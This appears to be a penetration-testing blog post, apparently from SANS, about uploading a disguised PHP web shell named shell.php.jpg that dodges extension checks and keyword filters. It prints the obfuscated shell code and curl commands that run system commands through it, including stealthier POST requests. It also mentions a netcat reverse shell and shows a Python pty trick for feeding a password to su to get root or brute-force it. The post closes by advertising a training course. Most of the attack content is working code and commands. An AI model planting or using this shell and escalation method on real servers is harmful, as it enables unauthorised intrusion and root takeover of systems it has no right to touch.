[In this article, the inimitable Tim Medin has some fun with PHP web shells, and merges together some clever ideas for interacting with them in a rather stealthier fashion using some Python kung fu! -Ed.]
Here is the scenario: you have a server that allows you to upload an avatar. The site makes sure that the file ends with .jpg, .png, or .gif. Being the sneaky bugger you are (as a professional penetration tester operating within your scope and rules of engagement, naturally), you upload a file named shell.php.jpg, containing this delightful gem:
<?php @extract($_REQUEST); @die ($ctime($atime)); ?>
This file passes the extention check, but since it contains .php in the filename, many systems will execute it as a script. Also, this shell doesn't include the telltale "/bin/sh", "shell_exec", or "system" strings and it looks like some sort of system commands associated with time to the untrained eye.
$ curl "http://Site/shell.php.jpg?ctime=system&atime=whoami" apache
This by no means a new attack. The oldest reference I could find (in my vast two minutes of searching the deep web) is 2009, but the technique/attack is much older. Now that we have a shell (via web shell or command injection) on a Linux target, let's look at how we can escalate permissions. A common next step is to establish a net cat session back the attacker's system.
Or, if the target's netcat doesn't support -e, referred to as the GAPING_SECURITY_HOLE option, you could use the version below (as Ed Skoudis discovered at his Magical Olive Garden and documented here)
Once we have the shell established, we need to upgrade the shell to use "sudo" or "su" as they interact with the shell in a unique way. Sterling Thomas posted an excellent list of upgrade techniques to the SANS GPWN mailing list. Once we use one of these techniques, we can use "sudo" and "su".
What if you can't or don't want to have that outbound connection back to your box but you want to upgrade your shell in-line with your webshell? Sending data in HTTP POST requests is much more stealthy, as the posts typically aren't logged and there isn't that pesky outbound connection we saw with Netcat. Simple commands work fine this way.
$ curl "http://Site/shell.php.jpg" --data="ctime=system&atime=ls+-la"
We can send commands to the server, but we likely can't use "sudo" as the web server's account (such as apache) shouldn't be in the /etc/sudoers file. This means we need to use "su" to upgrade. The "su" command has a "-c" option that allows us to specify a command. However, we have a problem — we need to run "su" and provide a password. What happens if we use echo to send the password into "su"? Let's test it with our own shell.
$ echo password | su -c whoami standard in must be a tty
Bah! You might get the error "must be run from a terminal", but either way we are out of luck with this technique. The su command wants us to work from a terminal, not take in raw stuff via the shell's Standard Input.
Now, here comes the trick. We can use a shell terminal trick that relies on Python to turn our non-terminal shell into a terminal shell. Watch this:
$ (sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);" root
We need the sleep to pause just long enough for python to start and execute "su". A second later (Python should be ready by then) the password is sent in, and we "got root". We can now run whatever we want, as root.
We can use this technique to bruteforce the root password too. Of course, this method would also work with command injection too.
Now we can stay stealthier and have more access, two things I very much love!
Many of the concepts and techniques we discuss here covered in detail in the SANS flagship penetration testing course, SANS Security 560: Network Penetration Testing and Ethical Hacking, which covers end-to-end pen testing in depth with tons of hands-on labs. Upcoming sessions include Boston in late July, Virginia Beach in late August, and Bangkok in August!